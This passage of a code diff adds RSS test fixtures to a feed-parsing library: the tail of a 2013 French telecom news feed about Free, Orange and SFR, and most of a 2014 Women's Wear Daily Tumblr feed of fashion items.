sur Orange.
+
+Au 25 mars, Free Mobile aurait conquit 5 754 000 abonnés depuis son lan (...)]]></description></item><item><title><![CDATA[Le studio Bagel parodie la publicité SFR]]></title><link>http://www.universfreebox.com/article20289.html</link><pubDate>Mon, 25 Mar 2013 11:51:55 +0100</pubDate><description><![CDATA[ Après des parodies de films, d'émissions de téléréalité, le Studio Bagel s'attaque cette fois à la publicité SFR où l'on voit un père et sa fille profiter du réseau 4G de SFR. L'humour est piquant à la conclusion très choc : "cela fait 25 ans qu'on invente le réseau de demain, mais c'est pas à nous de nous o (...)]]></description></item><item><title><![CDATA[Xavier Niel, à 24 heures d'une surprise ? ]]></title><link>http://www.universfreebox.com/article20288.html</link><pubDate>Mon, 25 Mar 2013 11:18:44 +0100</pubDate><description><![CDATA[Une simple invitation à la presse, sans ordre du jour, trois lignes et rien à se mettre sous la dent, Xavier Niel sait entretenir le suspense :
+
+Demain matin, Xavier Niel, fondateur de Free devrait lâcher une bombe. C'est  la surenchère chez nos confrères de PC Inpact ou encore de Clubic : Après l'école EEM (...)]]></description></item><item><title><![CDATA[SFR la Carte : Illimité soir et week-end dès 5 &#8364; ( appels et SMS)]]></title><link>http://www.universfreebox.com/article20287.html</link><pubDate>Mon, 25 Mar 2013 10:50:08 +0100</pubDate><description><![CDATA[ SFR relance la guerre des prix mais cette fois-ci sur le terrain du prépayé, en berne depuis l'arrivée des forfaits tout illimités à moins de 20 â&#8218;¬.
+SFR propose ainsi l'illimité soir et week-end, appels et SMS sur les gammes "Classique" de cartes de 5â&#8218;¬ à 95 â&#8218;¬.  
+Du vendredi soir au dimanche minuit et (...)]]></description></item><item><title><![CDATA[4G : Pas pour Sosh en 2013, à 1 &#8364; de plus par mois pour les clients Orange]]></title><link>http://www.universfreebox.com/article20285.html</link><pubDate>Mon, 25 Mar 2013 10:13:41 +0100</pubDate><description><![CDATA[ A  un peu plus d'une semaine de lancer la 4G dans 10 nouvelles villes ( Bordeaux, Nancy, La Rochelle, Dunkerque, Chartres, Orléans, Clermont Ferrand, Grenoble, Annecy et Metz), Stéphane Richard, PDG d'Orange, évoque dans un entretien avec le Figaro, les conditions d'accessions à la 4G qui seront pratiquées p (...)]]></description></item><item><title><![CDATA[Selon le PDG d'Orange, Free Mobile « aurait pu pratiquer des prix encore plus bas »]]></title><link>http://www.universfreebox.com/article20283.html</link><pubDate>Mon, 25 Mar 2013 05:16:13 +0100</pubDate><description><![CDATA[Stéphane Richard, PDG du groupe Orange en France, a accordé une interview au magazine Le Figaro. Le numéro 1 d'Orange est revenu en grande partie sur les sujets d'actualité qui ont touché le Groupe, ainsi que l'accord d'itinérance signé avec Free Mobile.
+Le PDG d'Orange explique qu'il a signé cet accord d (...)]]></description></item><item><title><![CDATA[Après le Crédit Mutuel, la CIC lance un forfait illimité à 15,99 euros/mois ]]></title><link>http://www.universfreebox.com/article20282.html</link><pubDate>Mon, 25 Mar 2013 04:13:25 +0100</pubDate><description><![CDATA[Après le Crédit Mutuel, c'est au tour de CIC Mobile de proposer à un forfait à 19,99 euros par mois ou 15,99 euros par mois pour les détenteurs d'une carte de paiement CIC (15,99 euros, ça ne rappelle rien). Pour pousser la ressemblance encore plus loin, la réduction est valable pour un seul et même titulaire (...)]]></description></item><item><title><![CDATA[Youtube et la SACEM signent un nouvel accord]]></title><link>http://www.universfreebox.com/article20281.html</link><pubDate>Mon, 25 Mar 2013 03:06:30 +0100</pubDate><description><![CDATA[Le 19 janvier dernier, YouTube a pris la décision d'interrompre temporairement la monétisation des contenus musicaux en France, diffusés sur sa plateforme de vidéos en ligne, qu'il s'agisse de maisons de disques, de musiciens autoproduits, des artistes interprètes ou des auteurs, compositeurs et éditeurs de m (...)]]></description></item><item><title><![CDATA[La Freebox Révolution est au top dans iCreate]]></title><link>http://www.universfreebox.com/article20280.html</link><pubDate>Sun, 24 Mar 2013 21:09:36 +0100</pubDate><description><![CDATA[Au sommaire du magazine iCreate, un grand dossier consacré aux Box ADSL, fibre et câble. Le dossier se penche sur les différentes fonctionnalités et applications proposées par les box des FAI, dont celle de Free, non seulement pour vous aider à choisir la vôtre et vous assurer de l'utiliser à 100% de ses capa (...)]]></description></item><item><title><![CDATA[Freebox Révolution : Un problème de lecture des vidéos depuis la mise à jour]]></title><link>http://www.universfreebox.com/article20279.html</link><pubDate>Sun, 24 Mar 2013 20:38:40 +0100</pubDate><description><![CDATA[Des abonnés nous ont alerté, par mail et via différents sujets le forum, d'un bug très contraignant affectant quelques Freebox Révolution. En effet, depuis le déploiement de la mise à jour 1.2.6, certaines Freebox Révolution ne parviennent plus - ou très aléatoirement - à lire les vidéos présentes dans le dis (...)]]></description></item><item><title><![CDATA[1800MHz : Bouygues Télécom devra débourser 1% de son chiffre d'affaires]]></title><link>http://www.universfreebox.com/article20278.html</link><pubDate>Sun, 24 Mar 2013 19:19:42 +0100</pubDate><description><![CDATA[Le décret relatif aux redevances d'utilisation dues au titre de l'utilisation des fréquences dans la bande 1800 MHz, a été publié au Journal Officiel. L'opérateur Bouygues Telecom devra débourser annuellement (part variable) 1 % du montant total de son chiffre d'affaires et (part fixe) 3 231 â&#8218;¬ par kHz duple (...)]]></description></item><item><title><![CDATA[Visite du NRO Orange de Levallois-Perret]]></title><link>http://www.universfreebox.com/article20275.html</link><pubDate>Sat, 23 Mar 2013 16:59:24 +0100</pubDate><description><![CDATA[Orange a ouvert ses portes à Vivien. A travers un reportage, Lafibre nous font visiter le Noeud de Raccordement Optique (NRO) de Levallois-Perret. Cet équipement couvre la moitié de Levallois-Perret et la totalité de la ville de Clichy, près de 67 000 abonnés. C'est l'occasion de se rendre compte du travail (...)]]></description></item><item><title><![CDATA[Online : Victime de son succès, la Dédibox Extrême SP revient le 26 mars]]></title><link>http://www.universfreebox.com/article20274.html</link><pubDate>Sat, 23 Mar 2013 01:50:14 +0100</pubDate><description><![CDATA[Le stock de Dedibox Extreme SP est épuisé. « Toutes les Dedibox Extreme SP sont vendues, next dispo 26/03. Juste incroyable, on en revient pas ! Merci ! », s'étonne Arnaud d'Online (filiale du groupe Iliad) sur le réseau social, Twitter.
+
+Toutes les #dedibox extreme SP sont vendues, next dispo 26/03. Jus (...)]]></description></item><item><title><![CDATA[Free fait évoluer les identifiants des nouveaux comptes Freebox]]></title><link>http://www.universfreebox.com/article20273.html</link><pubDate>Fri, 22 Mar 2013 17:57:22 +0100</pubDate><description><![CDATA[Jusqu'à présent, le numéro identifiant des abonnés Freebox, pour se connecter à son interface de gestion,  était le numéro géographique de la ligne. Mais depuis quelques jours, les nouveaux abonnés reçoivent un autre type d'identifiant à 8 chiffres (comme pour Free Mobile), précédé de « fbx ». Exemple : fbx01 (...)]]></description></item><item><title><![CDATA[Zapping : Grosse bagarre au parlement...]]></title><link>http://www.universfreebox.com/article20272.html</link><pubDate>Fri, 22 Mar 2013 16:41:03 +0100</pubDate><description><![CDATA[Des hommes volants, Un éléphant de mer en pleine ville, une drague dans la rue, Problème de braguette, Une fille frappe son frère, Grosse bagarre au parlement, La rolls du parapluie, Encore du grand Nabila ....Voici le zapping télé du 22 mars 2013 !
+
+Avec notre partenaire ZAP télé (...)]]></description></item><item><title><![CDATA[Mise à jour pour le Sony Xpéria Z victime de mort subite]]></title><link>http://www.universfreebox.com/article20270.html</link><pubDate>Fri, 22 Mar 2013 15:53:36 +0100</pubDate><description><![CDATA[Le nouveau Sony Xperia Z, à peine sorti est victime du syndrome de mort subite, un bug qui provoque l'extinction du téléphone et le rend définitivement hors d'usage.
+Alerté, Sony a déployé ce matin un nouveau Firmware pour corriger le problème. Il suffit d'utiliser Companion, une application PC dédié aux Sm (...)]]></description></item><item><title><![CDATA[Canalsat déploie sa nouvelle interface, mais pas encore sur les box]]></title><link>http://www.universfreebox.com/article20269.html</link><pubDate>Fri, 22 Mar 2013 15:38:27 +0100</pubDate><description><![CDATA[Annoncée depuis des mois, la nouvelle interface Canalsat va finalement voir le jour la semaine prochaine. Un courrier est actuellement envoyé aux abonnés Le Cube, pour leur annoncer qu'elle sera  déployée la nuit du lundi 25 au mardi 26 mars 2013 prochain. Les abonnés via les box des fournisseurs d'accès à In (...)]]></description></item><item><title><![CDATA[TV: Le public plébiscite le divertissement et la téléréalité]]></title><link>http://www.universfreebox.com/article20262.html</link><pubDate>Fri, 22 Mar 2013 13:52:49 +0100</pubDate><description><![CDATA[Selon médiamétrie, à l'heure actuelle, la télévision est le loisir numéro un dans le monde. En 2012 les téléspectateurs dans le monde ont regardé la télévision 3h17 par jour, soit une minute de plus qu'en 2011.
+L' Europe porte ce record puisqu'elle enregistre la plus forte croissance de la durée d'écoute ave (...)]]></description></item><item><title><![CDATA[Découvrez le contenu de Jook Vidéo, en négociation pour intégrer la Freebox]]></title><link>http://www.universfreebox.com/article20268.html</link><pubDate>Fri, 22 Mar 2013 13:43:21 +0100</pubDate><description><![CDATA[Jook Vidéo, le nouveau concurrent de Canalplay Infinity dans la vidéo à la demande par abonnement a été lancé ce matin, sur Internet, iPad et prochainement sur les Smart TV Samsung. AB, l'éditeur de ce service, qui se démarque par son prix attractif de 6,99 euros/mois (contre 9,99 euros/mois pour Canalplay In (...)]]></description></item><item><title><![CDATA[Hadopi décortique les contenus de Youtube : première étude sur les plateformes de streaming.]]></title><link>http://www.universfreebox.com/article20266.html</link><pubDate>Fri, 22 Mar 2013 12:55:00 +0100</pubDate><description><![CDATA[ 
+Ayant sollicité son département Recherche Etudes et Veille, la Hadopi souligne la richesse des contenus proposés sur la plateforme Youtube mais condamne l'émergence de plus en plus de contenus illégaux.
+Première base d'étude du chantier Hadopi sur le direct-download et le streaming illégal, Youtube est le (...)]]></description></item></channel></rss> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/womensweardaily.xml b/vendor/fguillot/picofeed/tests/fixtures/womensweardaily.xml
new file mode 100644
index 000000000..70208c27b
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/womensweardaily.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><description>The WWD Official Tumblr Page!
+
+Women’s Wear Daily (WWD) is the daily media of record for senior executives in the global women’s and men’s fashion, retail and beauty communities and the consumer media that cover the market.
+
+WWD On:
+
+Facebook
+www.facebook.com/womensweardaily
+
+Twitter
+www.twitter.com/womensweardaily
+www.twitter.com/wwdmarketplace
+
+YouTube
+www.youtube.com/wwd</description><title>http://womensweardaily.tumblr.com/</title><generator>Tumblr (3.0; @womensweardaily)</generator><link>http://womensweardaily.tumblr.com/</link><item><title>Sue Wong RTW Spring 2015
+The designer’s spring collection...</title><description>&lt;img src="http://31.media.tumblr.com/cd505251ce02d3de1c603f560e7d9b69/tumblr_ndywlqVRKT1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/runway/spring-ready-to-wear-2015/review/sue-wong&gt;?src=tumblr"&gt;Sue Wong RTW Spring 2015&lt;/a&gt;&lt;/h1&gt;
+&lt;p&gt;The designer’s spring collection bore the influence of her infatuation with Art Deco and old Hollywood. &lt;strong&gt;&lt;a href="http://www.wwd.com/runway/spring-ready-to-wear-2015/review/sue-wong&gt;?src=tumblr"&gt;For More&lt;/a&gt;&lt;br/&gt;&lt;a href="http://www.wwd.com/fashion-news/fashion-features/thats-totally-fine-by-rose-la-grua-rtw-spring-2015-7980675" data-ls-seen="1"&gt;&lt;br/&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</description><link>http://womensweardaily.tumblr.com/post/100993521734</link><guid>http://womensweardaily.tumblr.com/post/100993521734</guid><pubDate>Sun, 26 Oct 2014 10:00:16 -0400</pubDate><category>Sue Wong</category><category>RTW Spring 2015</category><category>Fashion</category><category>LAFW</category></item><item><title>TAW: Shanghai Fashion Week
+Photo by Dave Tacon</title><description>&lt;img src="http://38.media.tumblr.com/68973faac180b432aba4f2686c3dc4ff/tumblr_ndyffbM8HW1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/they-are-wearing/they-are-wearing-shanghai-fashion-week-7999283/slideshow?src=tumblr"&gt;TAW: Shanghai Fashion Week&lt;/a&gt;&lt;/h1&gt;
+&lt;h4 id="slide-credit"&gt;&lt;em&gt;Photo by Dave Tacon&lt;/em&gt;&lt;/h4&gt;</description><link>http://womensweardaily.tumblr.com/post/100990373888</link><guid>http://womensweardaily.tumblr.com/post/100990373888</guid><pubDate>Sun, 26 Oct 2014 09:00:13 -0400</pubDate><category>Shanghai Fashion Week</category><category>Fashion</category><category>Street Style</category><category>They Are Wearing</category></item><item><title>Frances Caine RTW Spring 2015
+Husband-and-wife hipster duo...</title><description>&lt;img src="http://31.media.tumblr.com/028449c66357f16100397819e9255c87/tumblr_ndyn1kEO5Q1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/fashion-features/frances-caine-rtw-spring-2015-7999202?src=tumblr"&gt;Frances Caine RTW Spring 2015&lt;/a&gt;&lt;/h1&gt;
+&lt;p&gt;Husband-and-wife hipster duo Travis Caine and Katherine Kin are not just design partners, they also have a band called Von Haze.  &lt;a href="http://www.wwd.com/fashion-news/fashion-features/frances-caine-rtw-spring-2015-7999202?src=tumblr"&gt;&lt;strong&gt;For More&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://womensweardaily.tumblr.com/post/100980752157</link><guid>http://womensweardaily.tumblr.com/post/100980752157</guid><pubDate>Sun, 26 Oct 2014 05:00:09 -0400</pubDate><category>Frances Caine</category><category>RTW Spring 2015</category><category>Fashion</category><category>LAFW</category></item><item><title>They Are Wearing: Frieze London
+Photo by Marcus Dawes</title><description>&lt;img src="http://33.media.tumblr.com/15580b6192ae0158914c25b9d7d796fd/tumblr_ndwvz5Nea41qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/they-are-wearing/they-are-wearing-frieze-london-7994824/slideshow?src=tumblr"&gt;They Are Wearing: Frieze London&lt;/a&gt;&lt;/h1&gt;
+&lt;h4 id="slide-credit"&gt;Photo by Marcus Dawes&lt;/h4&gt;</description><link>http://womensweardaily.tumblr.com/post/100975969488</link><guid>http://womensweardaily.tumblr.com/post/100975969488</guid><pubDate>Sun, 26 Oct 2014 03:00:08 -0400</pubDate><category>They Are Wearing</category><category>Frieze London</category><category>Fashion</category><category>Street Style</category></item><item><title>Margot Robbie at FGI’s Night of Stars</title><description>&lt;img src="http://33.media.tumblr.com/b7bf4c8890e61772235c7f9ab226f931/tumblr_ndyg9bBFTL1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h3 id="slide-caption"&gt;&lt;a href="http://www.wwd.com/eye/parties/fashion-group-international-night-of-stars-honors-dvf-peter-copping-8000144/slideshow?src=tumblr"&gt;Margot Robbie at FGI’s Night of Stars&lt;/a&gt;&lt;/h3&gt;</description><link>http://womensweardaily.tumblr.com/post/100973079335</link><guid>http://womensweardaily.tumblr.com/post/100973079335</guid><pubDate>Sun, 26 Oct 2014 02:00:08 -0400</pubDate><category>Margot Robbie</category><category>FGI's Night of Stars</category><category>Fashion</category><category>celebs</category></item><item><title>CM2K by Cheryl Koo RTW Spring 2015
+In yet another...</title><description>&lt;img src="http://33.media.tumblr.com/23fc081fdb1d29020833e6f5a8795d15/tumblr_ndymlzJbE21qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short"&gt;&lt;a href="http://www.wwd.com/fashion-news/fashion-features/cm2k-by-cheryl-koo-rtw-spring-2015-7999205?src=tumblr"&gt;CM2K by Cheryl Koo RTW Spring 2015&lt;/a&gt;&lt;/h1&gt;
+&lt;p&gt;In yet another performance-art presentation, a perennial trend on the L.A. Fashion Week circuit, Cheryl Koo used professional dancers as models. &lt;a href="http://www.wwd.com/fashion-news/fashion-features/cm2k-by-cheryl-koo-rtw-spring-2015-7999205?src=tumblr"&gt;&lt;strong&gt;For More&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://womensweardaily.tumblr.com/post/100969643522</link><guid>http://womensweardaily.tumblr.com/post/100969643522</guid><pubDate>Sun, 26 Oct 2014 01:00:08 -0400</pubDate><category>CM2K by Cheryl Koo</category><category>RTW Spring 2015</category><category>Fashion</category><category>LAFW</category></item><item><title>Kinsman RTW Spring 2015
+Joanna Kinsman got wild with her...</title><description>&lt;img src="http://33.media.tumblr.com/fe3cb231f47409252dbc68b738909d5d/tumblr_ndynaoRjDm1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/fashion-features/kinsman-rtw-spring-2015-7994087?src=tumblr"&gt;Kinsman RTW Spring 2015&lt;/a&gt;&lt;/h1&gt;
+&lt;p&gt;Joanna Kinsman got wild with her Brazilian-cut bikinis done in fur, shearling, a dark-pink animal print and embossed leather.  &lt;a href="http://www.wwd.com/fashion-news/fashion-features/kinsman-rtw-spring-2015-7994087?src=tumblr"&gt;&lt;strong&gt;For More&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://womensweardaily.tumblr.com/post/100957532620</link><guid>http://womensweardaily.tumblr.com/post/100957532620</guid><pubDate>Sat, 25 Oct 2014 22:00:06 -0400</pubDate><category>Kinsman</category><category>RTW Spring 2015</category><category>Fashion</category><category>LAFW</category></item><item><title>They Are Wearing: Frieze London
+Photo by Marcus Dawes</title><description>&lt;img src="http://33.media.tumblr.com/f3117347a369634ad5cc9055c727e4d1/tumblr_nduzowYGxf1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/they-are-wearing/they-are-wearing-frieze-london-7994824/slideshow?src=tumblr"&gt;They Are Wearing: Frieze London&lt;/a&gt;&lt;/h1&gt;
+&lt;h4 id="slide-credit"&gt;Photo by Marcus Dawes&lt;/h4&gt;</description><link>http://womensweardaily.tumblr.com/post/100953624966</link><guid>http://womensweardaily.tumblr.com/post/100953624966</guid><pubDate>Sat, 25 Oct 2014 21:00:09 -0400</pubDate><category>They Are Wearing</category><category>Frieze London</category><category>Fashion</category><category>Street Style</category></item><item><title>Spring 2015 Trend: Do the Shag
+Photo by Isa Wipfli
+Designers...</title><description>&lt;img src="http://33.media.tumblr.com/d79b278d0555f8fc64b9b5261166638c/tumblr_ndwk9s0iwk1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/trends/spring-2015-trend-do-the-shag-7996294/slideshow?src=tumblr"&gt;Spring 2015 Trend: Do the Shag&lt;/a&gt;&lt;/h1&gt;
+&lt;h4 id="slide-credit"&gt;&lt;em&gt;Photo by Isa Wipfli&lt;/em&gt;&lt;/h4&gt;
+&lt;p&gt;&lt;span class="mandelbrot_refrag"&gt;&lt;span class="mandelbrot_refrag"&gt;Designers&lt;/span&gt;&lt;/span&gt; toughened up the Sixties groove for spring with hardware details on dresses, graphic textures and a decidedly rock-star attitude. Here, Faith Connexion’s leather jacket and AllSaints’ cotton jeans.&lt;/p&gt;</description><link>http://womensweardaily.tumblr.com/post/100949761246</link><guid>http://womensweardaily.tumblr.com/post/100949761246</guid><pubDate>Sat, 25 Oct 2014 20:00:08 -0400</pubDate><category>Spring 2015</category><category>Trend</category><category>Sixties</category><category>Faith Connexion</category><category>AllSaints</category><category>Fashion</category></item><item><title>Aeneas Erlking RTW Spring 2015
+Designer Aeneas Zhou Erlking...</title><description>&lt;img src="http://33.media.tumblr.com/020ff3752be38bdfa63735f9c0047eae/tumblr_ndylioeQfp1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/fashion-features/aeneas-erlking-rtw-spring-2015-7999207?src=tumblr"&gt;Aeneas Erlking RTW Spring 2015&lt;/a&gt;&lt;/h1&gt;
+&lt;p&gt;Designer Aeneas Zhou Erlking showed 11 looks for resort 2015 in a collection called “Pretty In Punk.†&lt;a href="http://www.wwd.com/fashion-news/fashion-features/aeneas-erlking-rtw-spring-2015-7999207?src=tumblr"&gt;&lt;strong&gt;For More&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://womensweardaily.tumblr.com/post/100941659863</link><guid>http://womensweardaily.tumblr.com/post/100941659863</guid><pubDate>Sat, 25 Oct 2014 18:00:06 -0400</pubDate><category>Aeneas Erlking</category><category>RTW Spring 2015</category><category>Fashion</category><category>LAFW</category></item><item><title>TAW: Shanghai Fashion Week
+Photo by Dave Tacon</title><description>&lt;img src="http://38.media.tumblr.com/5d5f621a28afd229173c0edc666c8007/tumblr_ndyfiaTdGJ1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/they-are-wearing/they-are-wearing-shanghai-fashion-week-7999283/slideshow?src=tumblr"&gt;TAW: Shanghai Fashion Week&lt;/a&gt;&lt;/h1&gt;
+&lt;h4 id="slide-credit"&gt;&lt;em&gt;Photo by Dave Tacon&lt;/em&gt;&lt;/h4&gt;</description><link>http://womensweardaily.tumblr.com/post/100937329296</link><guid>http://womensweardaily.tumblr.com/post/100937329296</guid><pubDate>Sat, 25 Oct 2014 17:00:08 -0400</pubDate><category>Shanghai Fashion Week</category><category>Fashion</category><category>They Are Wearing</category><category>Street Style</category></item><item><title>Skintone RTW Spring 2015
+Using only raw hand-woven cotton in...</title><description>&lt;img src="http://31.media.tumblr.com/273113c485118fbfc7ef9ae8b7ec3c9b/tumblr_ndyplgAkeS1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/fashion-features/skintone-rtw-spring-2015-7991646?src=tumblr"&gt;Skintone RTW Spring 2015&lt;/a&gt;&lt;/h1&gt;
+&lt;p&gt;Using only raw hand-woven cotton in ivory, this line of casual tank tops, sundresses and drawstring-waist skirts appeared comfortable but bland.  &lt;a href="http://www.wwd.com/fashion-news/fashion-features/skintone-rtw-spring-2015-7991646?src=tumblr"&gt;&lt;strong&gt;For More&lt;br/&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://womensweardaily.tumblr.com/post/100932937084</link><guid>http://womensweardaily.tumblr.com/post/100932937084</guid><pubDate>Sat, 25 Oct 2014 16:00:39 -0400</pubDate><category>Skintone</category><category>RTW Spring 2015</category><category>Fashion</category><category>LAFW</category></item><item><title>They Are Wearing: Frieze London
+Photo by Marcus Dawes</title><description>&lt;img src="http://38.media.tumblr.com/39cdfb9cff640d24c9b76802346b8fe9/tumblr_ndww24360a1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/they-are-wearing/they-are-wearing-frieze-london-7994824/slideshow?src=tumblr"&gt;They Are Wearing: Frieze London&lt;/a&gt;&lt;/h1&gt;
+&lt;h4 id="slide-credit"&gt;Photo by Marcus Dawes&lt;/h4&gt;</description><link>http://womensweardaily.tumblr.com/post/100928590055</link><guid>http://womensweardaily.tumblr.com/post/100928590055</guid><pubDate>Sat, 25 Oct 2014 15:00:30 -0400</pubDate><category>They Are Wearing</category><category>Frieze London</category><category>Fashion</category><category>Street Style</category></item><item><title>A look from the Zara Terez
+Collection: Candy Crush.
+Courtesy...</title><description>&lt;img src="http://33.media.tumblr.com/3c48ac34c36431a0ce7735cf86141344/tumblr_ndr6g0i2vc1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 id="slide-caption"&gt;&lt;a href="http://www.wwd.com/fashion-news/fashion-scoops/candy-crush-teams-up-with-zara-terez-7991211?src=tumblr"&gt;A look from the Zara Terez &lt;/a&gt;&lt;/h1&gt;
+&lt;h1&gt;&lt;a href="http://www.wwd.com/fashion-news/fashion-scoops/candy-crush-teams-up-with-zara-terez-7991211?src=tumblr"&gt;Collection: Candy Crush.&lt;/a&gt;&lt;/h1&gt;
+&lt;h4 id="slide-credit"&gt;&lt;em&gt;Courtesy Photo&lt;/em&gt;&lt;/h4&gt;</description><link>http://womensweardaily.tumblr.com/post/100924265060</link><guid>http://womensweardaily.tumblr.com/post/100924265060</guid><pubDate>Sat, 25 Oct 2014 14:00:30 -0400</pubDate><category>Zara Terez Collection: Candy Crush</category><category>Zara Terez</category><category>Candy Crush</category><category>Fashion</category></item><item><title>Altaf Maaneshia RTW Spring 2015
+The designer returned to his...</title><description>&lt;img src="http://31.media.tumblr.com/3fe391d7e0c06dc9ab376bf07e660a8b/tumblr_ndylygFlHw1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/fashion-features/altaf-maaneshia-rtw-spring-2015-7994092?src=tumblr"&gt;Altaf Maaneshia RTW Spring 2015&lt;/a&gt;&lt;/h1&gt;
+&lt;p&gt;The designer returned to his favorite Forties-inspired dresses marked by extreme shoulders and nipped waists. &lt;a href="http://www.wwd.com/fashion-news/fashion-features/altaf-maaneshia-rtw-spring-2015-7994092?src=tumblr"&gt;&lt;strong&gt;For More&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://womensweardaily.tumblr.com/post/100919982150</link><guid>http://womensweardaily.tumblr.com/post/100919982150</guid><pubDate>Sat, 25 Oct 2014 13:00:29 -0400</pubDate><category>Altaf Maaneshia</category><category>RTW Spring 2015</category><category>Fashion</category><category>LAFW</category></item><item><title>Yirantian Guo RTW Spring 2015
+Courtesy Photo
+The...</title><description>&lt;img src="http://33.media.tumblr.com/099f60f25d240211b9a6feeffc93aa5b/tumblr_ndyjh287br1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/fashion-features/yirantian-guo-rtw-spring-2015-7999476?src=tumblr"&gt;Yirantian Guo RTW Spring 2015&lt;/a&gt;&lt;/h1&gt;
+&lt;h4 id="slide-credit"&gt;&lt;em&gt;Courtesy Photo&lt;/em&gt;&lt;/h4&gt;
+&lt;p&gt;The designer’s deconstructed, modernist style has been on the radar of China fashion watchers since she launched her own collection back in 2012. &lt;a href="http://www.wwd.com/fashion-news/fashion-features/yirantian-guo-rtw-spring-2015-7999476?src=tumblr"&gt;&lt;strong&gt;For More&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://womensweardaily.tumblr.com/post/100915824047</link><guid>http://womensweardaily.tumblr.com/post/100915824047</guid><pubDate>Sat, 25 Oct 2014 12:00:31 -0400</pubDate><category>Yirantian Guo</category><category>RTW Spring 2015</category><category>Fashion</category><category>Shanghai Fashion Week</category></item><item><title>Rosie Huntington-Whiteley’s on a Roll
+Photo by Donato...</title><description>&lt;img src="http://33.media.tumblr.com/cb124dc307258a0ba44a4a1cdb59b0b1/tumblr_ndyi6tQuZS1qa7p1yo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1 class="window-wide title-short" id="slideshow-title"&gt;&lt;a href="http://www.wwd.com/fashion-news/fashion-scoops/rosie-on-a-roll-8000063/slideshow?src=tumblr"&gt;Rosie Huntington-Whiteley’s on a Roll&lt;/a&gt;&lt;/h1&gt;
+&lt;h4 id="slide-credit"&gt;&lt;em&gt;Photo by Donato Sardella/Getty Images/Courtesy Photo&lt;/em&gt;&lt;/h4&gt;
+&lt;p&gt;Huntington-Whiteley hosted a dinner at the Sunset Tower Hotel with e-commerce site Forward by Elyse Walker. &lt;strong&gt;Liberty Ross&lt;/strong&gt;, &lt;strong&gt;Abbey Lee&lt;/strong&gt; &lt;strong&gt;Kershaw&lt;/strong&gt; and &lt;strong&gt;Cher Coulter&lt;/strong&gt; were among the guests who came to celebrate designer &lt;strong&gt;Anthony Vaccarello&lt;/strong&gt;, whose label retails on the site. &lt;a href="http://www.wwd.com/fashion-news/fashion-scoops/rosie-on-a-roll-8000063/slideshow?src=tumblr"&gt;&lt;strong&gt;For More&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://womensweardaily.tumblr.com/post/100911850898</link><guid>http://womensweardaily.tumblr.com/post/100911850898</guid><pubDate>Sat, 25 Oct 2014 11:00:28 -0400</pubDate><category>Rosie Huntington-Whiteley</category><category>Anthony Vaccarello</category><category>Abbey Lee Kershaw</category><category>Fashion</category><category>celebs</category><category>Forward by Elyse Walker</category><category>Sunset Tower Hotel</category></item><item><title>Dar Sara RTW Spring 2015
